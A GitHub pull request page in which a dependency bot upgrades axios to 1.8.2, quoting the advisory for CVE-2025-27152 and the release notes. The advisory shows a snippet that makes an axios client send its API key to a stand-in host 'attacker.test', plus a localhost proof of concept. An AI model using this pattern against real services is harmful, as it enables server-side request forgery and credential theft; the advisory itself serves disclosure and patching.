Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fix(deps): update dependency axios to v1.8.2 [security] #1452

Open
wants to merge 1 commit into
base: main
Choose a base branch
from

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Mar 7, 2025

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
axios (source) 1.7.7 -> 1.8.2 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2025-27152

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Release Notes

axios/axios (axios)

v1.8.2

Compare Source

Bug Fixes
  • http-adapter: add allowAbsoluteUrls to path building (#​6810) (fb8eec2)
Contributors to this release

v1.8.1

Compare Source

Bug Fixes
  • utils: move generateString to platform utils to avoid importing crypto module into client builds; (#​6789) (36a5a62)
Contributors to this release

v1.8.0

Compare Source

Bug Fixes
Features
Reverts
BREAKING CHANGES
  • code relying on the above will now combine the URLs instead of prefer request URL

  • feat: add config option for allowing absolute URLs

  • fix: add default value for allowAbsoluteUrls in buildFullPath

  • fix: typo in flow control when setting allowAbsoluteUrls

Contributors to this release

1.7.9 (2024-12-04)

Reverts
Contributors to this release

1.7.8 (2024-11-25)

Bug Fixes
Contributors to this release

1.7.7 (2024-08-31)

Bug Fixes
  • fetch: fix stream handling in Safari by fallback to using a stream reader instead of an async iterator; (#​6584) (d198085)
  • http: fixed support for IPv6 literal strings in url (#​5731) (364993f)
Contributors to this release

1.7.6 (2024-08-30)

Bug Fixes
Contributors to this release

1.7.5 (2024-08-23)

Bug Fixes
  • adapter: fix undefined reference to hasBrowserEnv (#​6572) (7004707)
  • core: add the missed implementation of AxiosError#status property; (#​6573) (6700a8a)
  • core: fix ReferenceError: navigator is not defined for custom environments; (#​6567) (fed1a4b)
  • fetch: fix credentials handling in Cloudflare workers (#​6533) (550d885)
Contributors to this release

1.7.4 (2024-08-13)

Bug Fixes
Contributors to this release

1.7.3 (2024-08-01)

Bug Fixes
Contributors to this release

1.7.2 (2024-05-21)

Bug Fixes
Contributors to this release

1.7.1 (2024-05-20)

Bug Fixes
  • fetch: fixed ReferenceError issue when TextEncoder is not available in the environment; (#​6410) (733f15f)
Contributors to this release

v1.7.9

Compare Source

Reverts
Contributors to this release

v1.7.8

Compare Source

Bug Fixes
Contributors to this release

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.


Thanks for the PR!

Deployments, as required, will be available below:
Any successful deployments (not always required) will be available here

Please create PRs in draft mode. Mark as ready to enable:

After merge, new images are deployed in:

@renovate renovate bot requested a review from fterra-encora as a code owner March 7, 2025 18:18
@renovate renovate bot enabled auto-merge (squash) March 7, 2025 18:18
Copy link
Contributor

github-actions bot commented Mar 7, 2025

Overall Project NaN% NaN% 🍏

There is no coverage information present for the Files changed

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

0 participants